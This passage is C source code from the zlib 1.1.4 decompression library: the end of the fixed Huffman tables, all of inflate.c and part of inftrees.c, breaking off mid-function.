    {{{83,7}},35}, {{{0,8}},115}, {{{0,8}},51}, {{{0,9}},198},

    {{{81,7}},11}, {{{0,8}},99}, {{{0,8}},35}, {{{0,9}},166},

    {{{0,8}},3}, {{{0,8}},131}, {{{0,8}},67}, {{{0,9}},230},

    {{{80,7}},7}, {{{0,8}},91}, {{{0,8}},27}, {{{0,9}},150},

    {{{84,7}},67}, {{{0,8}},123}, {{{0,8}},59}, {{{0,9}},214},

    {{{82,7}},19}, {{{0,8}},107}, {{{0,8}},43}, {{{0,9}},182},

    {{{0,8}},11}, {{{0,8}},139}, {{{0,8}},75}, {{{0,9}},246},

    {{{80,7}},5}, {{{0,8}},87}, {{{0,8}},23}, {{{192,8}},0},

    {{{83,7}},51}, {{{0,8}},119}, {{{0,8}},55}, {{{0,9}},206},

    {{{81,7}},15}, {{{0,8}},103}, {{{0,8}},39}, {{{0,9}},174},

    {{{0,8}},7}, {{{0,8}},135}, {{{0,8}},71}, {{{0,9}},238},

    {{{80,7}},9}, {{{0,8}},95}, {{{0,8}},31}, {{{0,9}},158},

    {{{84,7}},99}, {{{0,8}},127}, {{{0,8}},63}, {{{0,9}},222},

    {{{82,7}},27}, {{{0,8}},111}, {{{0,8}},47}, {{{0,9}},190},

    {{{0,8}},15}, {{{0,8}},143}, {{{0,8}},79}, {{{0,9}},254},

    {{{96,7}},256}, {{{0,8}},80}, {{{0,8}},16}, {{{84,8}},115},

    {{{82,7}},31}, {{{0,8}},112}, {{{0,8}},48}, {{{0,9}},193},

    {{{80,7}},10}, {{{0,8}},96}, {{{0,8}},32}, {{{0,9}},161},

    {{{0,8}},0}, {{{0,8}},128}, {{{0,8}},64}, {{{0,9}},225},

    {{{80,7}},6}, {{{0,8}},88}, {{{0,8}},24}, {{{0,9}},145},

    {{{83,7}},59}, {{{0,8}},120}, {{{0,8}},56}, {{{0,9}},209},

    {{{81,7}},17}, {{{0,8}},104}, {{{0,8}},40}, {{{0,9}},177},

    {{{0,8}},8}, {{{0,8}},136}, {{{0,8}},72}, {{{0,9}},241},

    {{{80,7}},4}, {{{0,8}},84}, {{{0,8}},20}, {{{85,8}},227},

    {{{83,7}},43}, {{{0,8}},116}, {{{0,8}},52}, {{{0,9}},201},

    {{{81,7}},13}, {{{0,8}},100}, {{{0,8}},36}, {{{0,9}},169},

    {{{0,8}},4}, {{{0,8}},132}, {{{0,8}},68}, {{{0,9}},233},

    {{{80,7}},8}, {{{0,8}},92}, {{{0,8}},28}, {{{0,9}},153},

    {{{84,7}},83}, {{{0,8}},124}, {{{0,8}},60}, {{{0,9}},217},

    {{{82,7}},23}, {{{0,8}},108}, {{{0,8}},44}, {{{0,9}},185},

    {{{0,8}},12}, {{{0,8}},140}, {{{0,8}},76}, {{{0,9}},249},

    {{{80,7}},3}, {{{0,8}},82}, {{{0,8}},18}, {{{85,8}},163},

    {{{83,7}},35}, {{{0,8}},114}, {{{0,8}},50}, {{{0,9}},197},

    {{{81,7}},11}, {{{0,8}},98}, {{{0,8}},34}, {{{0,9}},165},

    {{{0,8}},2}, {{{0,8}},130}, {{{0,8}},66}, {{{0,9}},229},

    {{{80,7}},7}, {{{0,8}},90}, {{{0,8}},26}, {{{0,9}},149},

    {{{84,7}},67}, {{{0,8}},122}, {{{0,8}},58}, {{{0,9}},213},

    {{{82,7}},19}, {{{0,8}},106}, {{{0,8}},42}, {{{0,9}},181},

    {{{0,8}},10}, {{{0,8}},138}, {{{0,8}},74}, {{{0,9}},245},

    {{{80,7}},5}, {{{0,8}},86}, {{{0,8}},22}, {{{192,8}},0},

    {{{83,7}},51}, {{{0,8}},118}, {{{0,8}},54}, {{{0,9}},205},

    {{{81,7}},15}, {{{0,8}},102}, {{{0,8}},38}, {{{0,9}},173},

    {{{0,8}},6}, {{{0,8}},134}, {{{0,8}},70}, {{{0,9}},237},

    {{{80,7}},9}, {{{0,8}},94}, {{{0,8}},30}, {{{0,9}},157},

    {{{84,7}},99}, {{{0,8}},126}, {{{0,8}},62}, {{{0,9}},221},

    {{{82,7}},27}, {{{0,8}},110}, {{{0,8}},46}, {{{0,9}},189},

    {{{0,8}},14}, {{{0,8}},142}, {{{0,8}},78}, {{{0,9}},253},

    {{{96,7}},256}, {{{0,8}},81}, {{{0,8}},17}, {{{85,8}},131},

    {{{82,7}},31}, {{{0,8}},113}, {{{0,8}},49}, {{{0,9}},195},

    {{{80,7}},10}, {{{0,8}},97}, {{{0,8}},33}, {{{0,9}},163},

    {{{0,8}},1}, {{{0,8}},129}, {{{0,8}},65}, {{{0,9}},227},

    {{{80,7}},6}, {{{0,8}},89}, {{{0,8}},25}, {{{0,9}},147},

    {{{83,7}},59}, {{{0,8}},121}, {{{0,8}},57}, {{{0,9}},211},

    {{{81,7}},17}, {{{0,8}},105}, {{{0,8}},41}, {{{0,9}},179},

    {{{0,8}},9}, {{{0,8}},137}, {{{0,8}},73}, {{{0,9}},243},

    {{{80,7}},4}, {{{0,8}},85}, {{{0,8}},21}, {{{80,8}},258},

    {{{83,7}},43}, {{{0,8}},117}, {{{0,8}},53}, {{{0,9}},203},

    {{{81,7}},13}, {{{0,8}},101}, {{{0,8}},37}, {{{0,9}},171},

    {{{0,8}},5}, {{{0,8}},133}, {{{0,8}},69}, {{{0,9}},235},

    {{{80,7}},8}, {{{0,8}},93}, {{{0,8}},29}, {{{0,9}},155},

    {{{84,7}},83}, {{{0,8}},125}, {{{0,8}},61}, {{{0,9}},219},

    {{{82,7}},23}, {{{0,8}},109}, {{{0,8}},45}, {{{0,9}},187},

    {{{0,8}},13}, {{{0,8}},141}, {{{0,8}},77}, {{{0,9}},251},

    {{{80,7}},3}, {{{0,8}},83}, {{{0,8}},19}, {{{85,8}},195},

    {{{83,7}},35}, {{{0,8}},115}, {{{0,8}},51}, {{{0,9}},199},

    {{{81,7}},11}, {{{0,8}},99}, {{{0,8}},35}, {{{0,9}},167},

    {{{0,8}},3}, {{{0,8}},131}, {{{0,8}},67}, {{{0,9}},231},

    {{{80,7}},7}, {{{0,8}},91}, {{{0,8}},27}, {{{0,9}},151},

    {{{84,7}},67}, {{{0,8}},123}, {{{0,8}},59}, {{{0,9}},215},

    {{{82,7}},19}, {{{0,8}},107}, {{{0,8}},43}, {{{0,9}},183},

    {{{0,8}},11}, {{{0,8}},139}, {{{0,8}},75}, {{{0,9}},247},

    {{{80,7}},5}, {{{0,8}},87}, {{{0,8}},23}, {{{192,8}},0},

    {{{83,7}},51}, {{{0,8}},119}, {{{0,8}},55}, {{{0,9}},207},

    {{{81,7}},15}, {{{0,8}},103}, {{{0,8}},39}, {{{0,9}},175},

    {{{0,8}},7}, {{{0,8}},135}, {{{0,8}},71}, {{{0,9}},239},

    {{{80,7}},9}, {{{0,8}},95}, {{{0,8}},31}, {{{0,9}},159},

    {{{84,7}},99}, {{{0,8}},127}, {{{0,8}},63}, {{{0,9}},223},

    {{{82,7}},27}, {{{0,8}},111}, {{{0,8}},47}, {{{0,9}},191},

    {{{0,8}},15}, {{{0,8}},143}, {{{0,8}},79}, {{{0,9}},255}

  };

local inflate_huft fixed_td[] = {

    {{{80,5}},1}, {{{87,5}},257}, {{{83,5}},17}, {{{91,5}},4097},

    {{{81,5}},5}, {{{89,5}},1025}, {{{85,5}},65}, {{{93,5}},16385},

    {{{80,5}},3}, {{{88,5}},513}, {{{84,5}},33}, {{{92,5}},8193},

    {{{82,5}},9}, {{{90,5}},2049}, {{{86,5}},129}, {{{192,5}},24577},

    {{{80,5}},2}, {{{87,5}},385}, {{{83,5}},25}, {{{91,5}},6145},

    {{{81,5}},7}, {{{89,5}},1537}, {{{85,5}},97}, {{{93,5}},24577},

    {{{80,5}},4}, {{{88,5}},769}, {{{84,5}},49}, {{{92,5}},12289},

    {{{82,5}},13}, {{{90,5}},3073}, {{{86,5}},193}, {{{192,5}},24577}

  };









源码/Zip/inflate.c

/* inflate.c -- zlib interface to inflate modules

 * Copyright (C) 1995-2002 Mark Adler

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



#include "zutil.h"

#include "infblock.h"



struct inflate_blocks_state {int dummy;}; /* for buggy compilers */



typedef enum {

      METHOD,   /* waiting for method byte */

      FLAG,     /* waiting for flag byte */

      DICT4,    /* four dictionary check bytes to go */

      DICT3,    /* three dictionary check bytes to go */

      DICT2,    /* two dictionary check bytes to go */

      DICT1,    /* one dictionary check byte to go */

      DICT0,    /* waiting for inflateSetDictionary */

      BLOCKS,   /* decompressing blocks */

      CHECK4,   /* four check bytes to go */

      CHECK3,   /* three check bytes to go */

      CHECK2,   /* two check bytes to go */

      CHECK1,   /* one check byte to go */

      DONE,     /* finished check, done */

      BAD}      /* got an error--stay here */

inflate_mode;



/* inflate private state */

struct internal_state {



  /* mode */

  inflate_mode  mode;   /* current inflate mode */



  /* mode dependent information */

  union {

    uInt method;        /* if FLAGS, method byte */

    struct {

      uLong was;                /* computed check value */

      uLong need;               /* stream check value */

    } check;            /* if CHECK, check values to compare */

    uInt marker;        /* if BAD, inflateSync's marker bytes count */

  } sub;        /* submode */



  /* mode independent information */

  int  nowrap;          /* flag for no wrapper */

  uInt wbits;           /* log2(window size)  (8..15, defaults to 15) */

  inflate_blocks_statef 

    *blocks;            /* current inflate_blocks state */



};





int ZEXPORT inflateReset(z)

z_streamp z;

{

  if (z == Z_NULL || z->state == Z_NULL)

    return Z_STREAM_ERROR;

  z->total_in = z->total_out = 0;

  z->msg = Z_NULL;

  z->state->mode = z->state->nowrap ? BLOCKS : METHOD;

  inflate_blocks_reset(z->state->blocks, z, Z_NULL);

  Tracev((stderr, "inflate: reset\n"));

  return Z_OK;

}





int ZEXPORT inflateEnd(z)

z_streamp z;

{

  if (z == Z_NULL || z->state == Z_NULL || z->zfree == Z_NULL)

    return Z_STREAM_ERROR;

  if (z->state->blocks != Z_NULL)

    inflate_blocks_free(z->state->blocks, z);

  ZFREE(z, z->state);

  z->state = Z_NULL;

  Tracev((stderr, "inflate: end\n"));

  return Z_OK;

}





int ZEXPORT inflateInit2_(z, w, version, stream_size)

z_streamp z;

int w;

const char *version;

int stream_size;

{

  if (version == Z_NULL || version[0] != ZLIB_VERSION[0] ||

      stream_size != sizeof(z_stream))

      return Z_VERSION_ERROR;



  /* initialize state */

  if (z == Z_NULL)

    return Z_STREAM_ERROR;

  z->msg = Z_NULL;

  if (z->zalloc == Z_NULL)

  {

    z->zalloc = zcalloc;

    z->opaque = (voidpf)0;

  }

  if (z->zfree == Z_NULL) z->zfree = zcfree;

  if ((z->state = (struct internal_state FAR *)

       ZALLOC(z,1,sizeof(struct internal_state))) == Z_NULL)

    return Z_MEM_ERROR;

  z->state->blocks = Z_NULL;



  /* handle undocumented nowrap option (no zlib header or check) */

  z->state->nowrap = 0;

  if (w < 0)

  {

    w = - w;

    z->state->nowrap = 1;

  }



  /* set window size */

  if (w < 8 || w > 15)

  {

    inflateEnd(z);

    return Z_STREAM_ERROR;

  }

  z->state->wbits = (uInt)w;



  /* create inflate_blocks state */

  if ((z->state->blocks =

      inflate_blocks_new(z, z->state->nowrap ? Z_NULL : adler32, (uInt)1 << w))

      == Z_NULL)

  {

    inflateEnd(z);

    return Z_MEM_ERROR;

  }

  Tracev((stderr, "inflate: allocated\n"));



  /* reset state */

  inflateReset(z);

  return Z_OK;

}





int ZEXPORT inflateInit_(z, version, stream_size)

z_streamp z;

const char *version;

int stream_size;

{

  return inflateInit2_(z, DEF_WBITS, version, stream_size);

}





#define NEEDBYTE {if(z->avail_in==0)return r;r=f;}

#define NEXTBYTE (z->avail_in--,z->total_in++,*z->next_in++)



int ZEXPORT inflate(z, f)

z_streamp z;

int f;

{

  int r;

  uInt b;



  if (z == Z_NULL || z->state == Z_NULL || z->next_in == Z_NULL)

    return Z_STREAM_ERROR;

  f = f == Z_FINISH ? Z_BUF_ERROR : Z_OK;

  r = Z_BUF_ERROR;

  while (1) switch (z->state->mode)

  {

    case METHOD:

      NEEDBYTE

      if (((z->state->sub.method = NEXTBYTE) & 0xf) != Z_DEFLATED)

      {

        z->state->mode = BAD;

        z->msg = (char*)"unknown compression method";

        z->state->sub.marker = 5;       /* can't try inflateSync */

        break;

      }

      if ((z->state->sub.method >> 4) + 8 > z->state->wbits)

      {

        z->state->mode = BAD;

        z->msg = (char*)"invalid window size";

        z->state->sub.marker = 5;       /* can't try inflateSync */

        break;

      }

      z->state->mode = FLAG;

    case FLAG:

      NEEDBYTE

      b = NEXTBYTE;

      if (((z->state->sub.method << 8) + b) % 31)

      {

        z->state->mode = BAD;

        z->msg = (char*)"incorrect header check";

        z->state->sub.marker = 5;       /* can't try inflateSync */

        break;

      }

      Tracev((stderr, "inflate: zlib header ok\n"));

      if (!(b & PRESET_DICT))

      {

        z->state->mode = BLOCKS;

        break;

      }

      z->state->mode = DICT4;

    case DICT4:

      NEEDBYTE

      z->state->sub.check.need = (uLong)NEXTBYTE << 24;

      z->state->mode = DICT3;

    case DICT3:

      NEEDBYTE

      z->state->sub.check.need += (uLong)NEXTBYTE << 16;

      z->state->mode = DICT2;

    case DICT2:

      NEEDBYTE

      z->state->sub.check.need += (uLong)NEXTBYTE << 8;

      z->state->mode = DICT1;

    case DICT1:

      NEEDBYTE

      z->state->sub.check.need += (uLong)NEXTBYTE;

      z->adler = z->state->sub.check.need;

      z->state->mode = DICT0;

      return Z_NEED_DICT;

    case DICT0:

      z->state->mode = BAD;

      z->msg = (char*)"need dictionary";

      z->state->sub.marker = 0;       /* can try inflateSync */

      return Z_STREAM_ERROR;

    case BLOCKS:

      r = inflate_blocks(z->state->blocks, z, r);

      if (r == Z_DATA_ERROR)

      {

        z->state->mode = BAD;

        z->state->sub.marker = 0;       /* can try inflateSync */

        break;

      }

      if (r == Z_OK)

        r = f;

      if (r != Z_STREAM_END)

        return r;

      r = f;

      inflate_blocks_reset(z->state->blocks, z, &z->state->sub.check.was);

      if (z->state->nowrap)

      {

        z->state->mode = DONE;

        break;

      }

      z->state->mode = CHECK4;

    case CHECK4:

      NEEDBYTE

      z->state->sub.check.need = (uLong)NEXTBYTE << 24;

      z->state->mode = CHECK3;

    case CHECK3:

      NEEDBYTE

      z->state->sub.check.need += (uLong)NEXTBYTE << 16;

      z->state->mode = CHECK2;

    case CHECK2:

      NEEDBYTE

      z->state->sub.check.need += (uLong)NEXTBYTE << 8;

      z->state->mode = CHECK1;

    case CHECK1:

      NEEDBYTE

      z->state->sub.check.need += (uLong)NEXTBYTE;



      if (z->state->sub.check.was != z->state->sub.check.need)

      {

        z->state->mode = BAD;

        z->msg = (char*)"incorrect data check";

        z->state->sub.marker = 5;       /* can't try inflateSync */

        break;

      }

      Tracev((stderr, "inflate: zlib check ok\n"));

      z->state->mode = DONE;

    case DONE:

      return Z_STREAM_END;

    case BAD:

      return Z_DATA_ERROR;

    default:

      return Z_STREAM_ERROR;

  }

#ifdef NEED_DUMMY_RETURN

  return Z_STREAM_ERROR;  /* Some dumb compilers complain without this */

#endif

}





int ZEXPORT inflateSetDictionary(z, dictionary, dictLength)

z_streamp z;

const Bytef *dictionary;

uInt  dictLength;

{

  uInt length = dictLength;



  if (z == Z_NULL || z->state == Z_NULL || z->state->mode != DICT0)

    return Z_STREAM_ERROR;



  if (adler32(1L, dictionary, dictLength) != z->adler) return Z_DATA_ERROR;

  z->adler = 1L;



  if (length >= ((uInt)1<<z->state->wbits))

  {

    length = (1<<z->state->wbits)-1;

    dictionary += dictLength - length;

  }

  inflate_set_dictionary(z->state->blocks, dictionary, length);

  z->state->mode = BLOCKS;

  return Z_OK;

}





int ZEXPORT inflateSync(z)

z_streamp z;

{

  uInt n;       /* number of bytes to look at */

  Bytef *p;     /* pointer to bytes */

  uInt m;       /* number of marker bytes found in a row */

  uLong r, w;   /* temporaries to save total_in and total_out */



  /* set up */

  if (z == Z_NULL || z->state == Z_NULL)

    return Z_STREAM_ERROR;

  if (z->state->mode != BAD)

  {

    z->state->mode = BAD;

    z->state->sub.marker = 0;

  }

  if ((n = z->avail_in) == 0)

    return Z_BUF_ERROR;

  p = z->next_in;

  m = z->state->sub.marker;



  /* search */

  while (n && m < 4)

  {

    static const Byte mark[4] = {0, 0, 0xff, 0xff};

    if (*p == mark[m])

      m++;

    else if (*p)

      m = 0;

    else

      m = 4 - m;

    p++, n--;

  }



  /* restore */

  z->total_in += p - z->next_in;

  z->next_in = p;

  z->avail_in = n;

  z->state->sub.marker = m;



  /* return no joy or set up to restart on a new block */

  if (m != 4)

    return Z_DATA_ERROR;

  r = z->total_in;  w = z->total_out;

  inflateReset(z);

  z->total_in = r;  z->total_out = w;

  z->state->mode = BLOCKS;

  return Z_OK;

}





/* Returns true if inflate is currently at the end of a block generated

 * by Z_SYNC_FLUSH or Z_FULL_FLUSH. This function is used by one PPP

 * implementation to provide an additional safety check. PPP uses Z_SYNC_FLUSH

 * but removes the length bytes of the resulting empty stored block. When

 * decompressing, PPP checks that at the end of input packet, inflate is

 * waiting for these length bytes.

 */

int ZEXPORT inflateSyncPoint(z)

z_streamp z;

{

  if (z == Z_NULL || z->state == Z_NULL || z->state->blocks == Z_NULL)

    return Z_STREAM_ERROR;

  return inflate_blocks_sync_point(z->state->blocks);

}









源码/Zip/inftrees.c

/* inftrees.c -- generate Huffman trees for efficient decoding

 * Copyright (C) 1995-2002 Mark Adler

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



#include "zutil.h"

#include "inftrees.h"



#if !defined(BUILDFIXED) && !defined(STDC)

#  define BUILDFIXED   /* non ANSI compilers may not accept inffixed.h */

#endif



const char inflate_copyright[] =

   " inflate 1.1.4 Copyright 1995-2002 Mark Adler ";

/*

  If you use the zlib library in a product, an acknowledgment is welcome

  in the documentation of your product. If for some reason you cannot

  include such an acknowledgment, I would appreciate that you keep this

  copyright string in the executable of your product.

 */

struct internal_state  {int dummy;}; /* for buggy compilers */



/* simplify the use of the inflate_huft type with some defines */

#define exop word.what.Exop

#define bits word.what.Bits





local int huft_build OF((

    uIntf *,            /* code lengths in bits */

    uInt,               /* number of codes */

    uInt,               /* number of "simple" codes */

    const uIntf *,      /* list of base values for non-simple codes */

    const uIntf *,      /* list of extra bits for non-simple codes */

    inflate_huft * FAR*,/* result: starting table */

    uIntf *,            /* maximum lookup bits (returns actual) */

    inflate_huft *,     /* space for trees */

    uInt *,             /* hufts used in space */

    uIntf * ));         /* space for values */



/* Tables for deflate from PKZIP's appnote.txt. */

local const uInt cplens[31] = { /* Copy lengths for literal codes 257..285 */

        3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31,

        35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0};

        /* see note #13 above about 258 */

local const uInt cplext[31] = { /* Extra bits for literal codes 257..285 */

        0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2,

        3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0, 112, 112}; /* 112==invalid */

local const uInt cpdist[30] = { /* Copy offsets for distance codes 0..29 */

        1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193,

        257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145,

        8193, 12289, 16385, 24577};

local const uInt cpdext[30] = { /* Extra bits for distance codes */

        0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6,

        7, 7, 8, 8, 9, 9, 10, 10, 11, 11,

        12, 12, 13, 13};



/*

   Huffman code decoding is performed using a multi-level table lookup.

   The fastest way to decode is to simply build a lookup table whose

   size is determined by the longest code.  However, the time it takes

   to build this table can also be a factor if the data being decoded

   is not very long.  The most common codes are necessarily the

   shortest codes, so those codes dominate the decoding time, and hence

   the speed.  The idea is you can have a shorter table that decodes the

   shorter, more probable codes, and then point to subsidiary tables for

   the longer codes.  The time it costs to decode the longer codes is

   then traded against the time it takes to make longer tables.



   This results of this trade are in the variables lbits and dbits

   below.  lbits is the number of bits the first level table for literal/

   length codes can decode in one step, and dbits is the same thing for

   the distance codes.  Subsequent tables are also less than or equal to

   those sizes.  These values may be adjusted either when all of the

   codes are shorter than that, in which case the longest code length in

   bits is used, or when the shortest code is *longer* than the requested

   table size, in which case the length of the shortest code in bits is

   used.



   There are two different values for the two tables, since they code a

   different number of possibilities each.  The literal/length table

   codes 286 possible values, or in a flat code, a little over eight

   bits.  The distance table codes 30 possible values, or a little less

   than five bits, flat.  The optimum values for speed end up being

   about one bit more than those, so lbits is 8+1 and dbits is 5+1.

   The optimum values may differ though from machine to machine, and

   possibly even between compilers.  Your mileage may vary.

 */





/* If BMAX needs to be larger than 16, then h and x[] should be uLong. */

#define BMAX 15         /* maximum bit length of any code */



local int huft_build(b, n, s, d, e, t, m, hp, hn, v)

uIntf *b;               /* code lengths in bits (all assumed <= BMAX) */

uInt n;                 /* number of codes (assumed <= 288) */

uInt s;                 /* number of simple-valued codes (0..s-1) */

const uIntf *d;         /* list of base values for non-simple codes */

const uIntf *e;         /* list of extra bits for non-simple codes */

inflate_huft * FAR *t;  /* result: starting table */

uIntf *m;               /* maximum lookup bits, returns actual */

inflate_huft *hp;       /* space for trees */

uInt *hn;               /* hufts used in space */

uIntf *v;               /* working area: values in order of bit length */

/* Given a list of code lengths and a maximum table size, make a set of

   tables to decode that set of codes.  Return Z_OK on success, Z_BUF_ERROR

   if the given code set is incomplete (the tables are still built in this

   case), or Z_DATA_ERROR if the input is invalid. */

{



  uInt a;                       /* counter for codes of length k */

  uInt c[BMAX+1];               /* bit length count table */

  uInt f;                       /* i repeats in table every f entries */

  int g;                        /* maximum code length */

  int h;                        /* table level */

  register uInt i;              /* counter, current code */

  register uInt j;              /* counter */

  register int k;               /* number of bits in current code */

  int l;                        /* bits per table (returned in m) */

  uInt mask;                    /* (1 << w) - 1, to avoid cc -O bug on HP */

  register uIntf *p;            /* pointer into c[], b[], or v[] */

  inflate_huft *q;              /* points to current table */

  struct inflate_huft_s r;      /* table entry for structure assignment */

  inflate_huft *u[BMAX];        /* table stack */

  register int w;               /* bits before this table == (l * h) */

  uInt x[BMAX+1];               /* bit offsets, then code stack */

  uIntf *xp;                    /* pointer into x */

  int y;                        /* number of dummy codes added */

  uInt z;                       /* number of entries in current table */





  /* Generate counts for each bit length */

  p = c;

#define C0 *p++ = 0;

#define C2 C0 C0 C0 C0

#define C4 C2 C2 C2 C2

  C4                            /* clear c[]--assume BMAX+1 is 16 */

  p = b;  i = n;

  do {

    c[*p++]++;                  /* assume all entries <= BMAX */

  } while (--i);

  if (c[0] == n)                /* null input--all zero length codes */

  {

    *t = (inflate_huft *)Z_NULL;

    *m = 0;

    return Z_OK;

  }





  /* Find minimum and maximum length, bound *m by those */

  l = *m;

  for (j = 1; j <= BMAX; j++)

    if (c[j])

      break;

  k = j;                        /* minimum code length */

  if ((uInt)l < j)

    l = j;

  for (i = BMAX; i; i--)

    if (c[i])

      break;

  g = i;                        /* maximum code length */

  if ((uInt)l > i)

    l = i;

  *m = l;





  /* Adjust last length count to fill out codes, if needed */

  for (y = 1 << j; j < i; j++, y <<= 1)

    if ((y -= c[j]) < 0)

      return Z_DATA_ERROR;

  if ((y -= c[i]) < 0)

    return Z_DATA_ERROR;

  c[i] += y;





  /* Generate starting offsets into the value table for each length */

  x[1] = j = 0;

  p = c + 1;  xp = x + 2;

  while (--i) {                 /* note that i == g from above */

    *xp++ = (j += *p++);

  }





  /* Make a table of values in order of bit lengths */

  p = b;  i = 0;

  do {

    if ((j = *p++) != 0)

      v[x[j]++] = i;

  } while (++i < n);

  n = x[g];                     /* set n to length of v */





  /* Generate the Huffman codes and for each, make the table entries */

  x[0] = i = 0;                 /* first Huffman code is zero */

  p = v;                        /* grab values in bit order */

  h = -1;                       /* no tables yet--level -1 */

  w = -l;                       /* bits decoded == (l * h) */

  u[0] = (inflate_huft *)Z_NULL;        /* just to keep compilers happy */

  q = (inflate_huft *)Z_NULL;   /* ditto */

  z = 0;                        /* ditto */



  /* go through the bit lengths (k already is bits in shortest code) */

  for (; k <= g; k++)

  {

    a = c[k];

    while (a--)

    {

      /* here i is the Huffman code of length k bits for value *p */

      /* make tables up to required level */

      while (k > w + l)

      {

        h++;

        w += l;                 /* previous table always l bits */



        /* compute minimum size table less than or equal to l bits */

        z = g - w;

        z = z > (uInt)l ? l : z;        /* table size upper limit */

        if ((f = 1 << (j = k - w)) > a + 1)     /* try a k-w bit table */

        {                       /* too few codes for k-w bit table */

          f -= a + 1;           /* deduct codes from patterns left */

          xp = c + k;

          if (j < z)

            while (++j < z)     /* try smaller tables up to z bits */

            {

              if ((f <<= 1) <= *++xp)

                break;          /* enough codes to use up j bits */

              f -= *xp;         /* else deduct codes from patterns */

            }

        }

        z = 1 << j;             /* table entries for j-bit table */



        /* allocate new table */

        if (*hn + z > MANY)     /* (note: doesn't matter for fixed) */

          return Z_DATA_ERROR;  /* overflow of MANY */

        u[h] = q = hp + *hn;

        *hn += z;



        /* connect to last table, if there is one */

        if (h)

        {

          x[h] = i;             /* save pattern for backing up */

          r.bits = (Byte)l;     /* bits to dump before this table */

          r.exop = (Byte)j;     /* bits in this table */

          j = i >> (w - l);

          r.base = (uInt)(q - u[h-1] - j);   /* offset to this table */

          u[h-1][j] = r;        /* connect to last table */

        }

        else

          *t = q;               /* first table is returned result */

      }



      /* set up table entry in r */

      r.bits = (Byte)(k - w);

      if (p >= v + n)

        r.exop = 128 + 64;      /* out of values--invalid code */

      else if (*p < s)

      {

        r.exop = (Byte)(*p < 256 ? 0 : 32 + 64);     /* 256 is end-of-block */

        r.base = *p++;          /* simple code is just the value */

      }

      else

      {

        r.exop = (Byte)(e[*p - s] + 16 + 64);/* non-simple--look up in lists */

        r.base = d[*p++ - s];

      }



      /* fill code-like entries with r */

      f = 1 << (k - w);

      for (j = i >> w; j < z; j += f)

        q[j] = r;



      /* backwards increment the k-bit code i */

      for (j = 1 << (k - 1); i & j; j >>= 1)

        i ^= j;

      i ^= j;



      /* backup over finished tables */

      mask = (1 << w) - 1;      /* needed on HP, cc -O bug */

      while ((i & mask) != x[h])

      {

        h--;                    /* don't need to update q */

        w -= l;

        mask = (1 << w) - 1;

      }

    }

  }





  /* Return Z_BUF_ERROR if we were given an incomplete table */

  return y != 0 && g != 1 ? Z_BUF_ERROR : Z_OK;

}





int inflate_trees_bits(c, bb, tb, hp, z)

uIntf *c;               /* 19 code lengths */

uIntf *bb;              /* bits tree desired/actual depth */

inflate_huft * FAR *tb; /* bits tree result */

inflate_huft *hp;       /* space for trees */

z_streamp z;            /* for messages */

{

  int r;

  uInt hn = 0;          /* hufts used in space */

  uIntf *v;             /* work area for huft_build */



  if ((v = (uIntf*)ZALLOC(z, 19, sizeof(uInt))) == Z_NULL)

    return Z_MEM_ERROR;

  r = huft_build(c, 19, 19, (uIntf*)Z_NULL, (uIntf*)Z_NULL,

                 tb, bb, hp, &hn, v);

  if (r == Z_DATA_ERROR)

    z->msg = (char*)"oversubscribed dynamic bit lengths tree";

  else if (r == Z_BUF_ERROR || *bb == 0)

  {

    z->msg = (char*)"incomplete dynamic bit lengths tree";

    r = Z_DATA_ERROR;

  }

  ZFREE(z, v);

  return r;

}





int inflate_trees_dynamic(nl, nd, c, bl, bd, tl, td, hp, z)

uInt nl;                /* number of literal/length codes */

uInt nd;                /* number of distance codes */

uIntf *c;               /* that many (total) code lengths */

uIntf *bl;              /* literal desired/actual bit depth */

uIntf *bd;              /* distance desired/actual bit depth */

inflate_huft * FAR *tl; /* literal/length tree result */

inflate_huft * FAR *td; /* distance tree result */

inflate_huft *hp;       /* space for trees */

z_streamp z;            /* for messages */

{

  int r;

  uInt hn = 0;          /* hufts used in space */

  uIntf *v;             /* work area for huft_build */



  /* allocate work area */

  if ((v = (uIntf*)ZALLOC(z, 288, sizeof(uInt))) == Z_NULL)

    return Z_MEM_ERROR;



  /* build literal/length tree */

  r = huft_build(c, nl, 257, cplens, cplext, tl, bl, hp, &hn, v);

  if (r != Z_OK || *bl == 0)

  {

    if (r == Z_DATA_ERROR)

      z->msg = (char*)"oversubscribed literal/length tree";

    else if (r != Z_MEM_ERROR)

    {

      z->msg = (char*)"incomplete literal/length tree";

      r = Z_DATA_ERROR;

    }

    ZFREE(z, v);

    return r;

  }



  /* build distance tree */

  r = huft_build(c + nl, nd, 0, cpdist, cpdext, td, bd, hp, &hn, v);

  if (r != Z_OK || (*bd == 0 && nl > 257))

  {

    if (r == Z_DATA_ERROR)

      z->msg = (char*)"oversubscribed distance tree";

    else if (r == Z_BUF_ERROR) {

#ifdef PKZIP_BUG_WORKAROUND

      r = Z_OK;

    }

#else

      z->msg = (char*)"incomplete distance tree";

      r = Z_DATA_ERROR;

    }

    else if (r != Z_MEM_ERROR)

    {

      z->msg = (char*)"empty distance tree with lengths";

      r = Z_DATA_ERROR;

    }

    ZFREE(z, v);

    return r;

#endif

  }



  /* done */

  ZFREE(z, v);

  return Z_OK;

}





/* build fixed tables only once--keep them here */

#ifdef BUILDFIXED

local int fixed_built = 0;

#define FIXEDH 544      /* number of hufts used by fixed tables */

local inflate_huft fixed_mem[FIXEDH];

local uInt fixed_bl;

local uInt fixed_bd;

local inflate_huft *fixed_tl;

local inflate_huft *fixed_td;

#else

#include "inffixed.h"

#endif





int inflate_trees_fixed(bl, bd, tl, td, z)

uIntf *bl;               /* literal desired/actual bit depth */

uIntf *bd;               /* distance desired/actual bit depth */

inflate_huft * FAR *tl;  /* literal/length tree result */

inflate_huft * FAR *td;  /* distance tree result */

z_streamp z;             /* for memory allocation */

{

#ifdef BUILDFIXED

  /* build fixed tables if not already */

  if (!fixed_built)

  {

    int k;              /* temporary variable */

    uInt f = 0;         /* number of hufts used in fixed_mem */

    uIntf *c;           /* length list for huft_build */

    uIntf *v;           /* work area for huft_build */



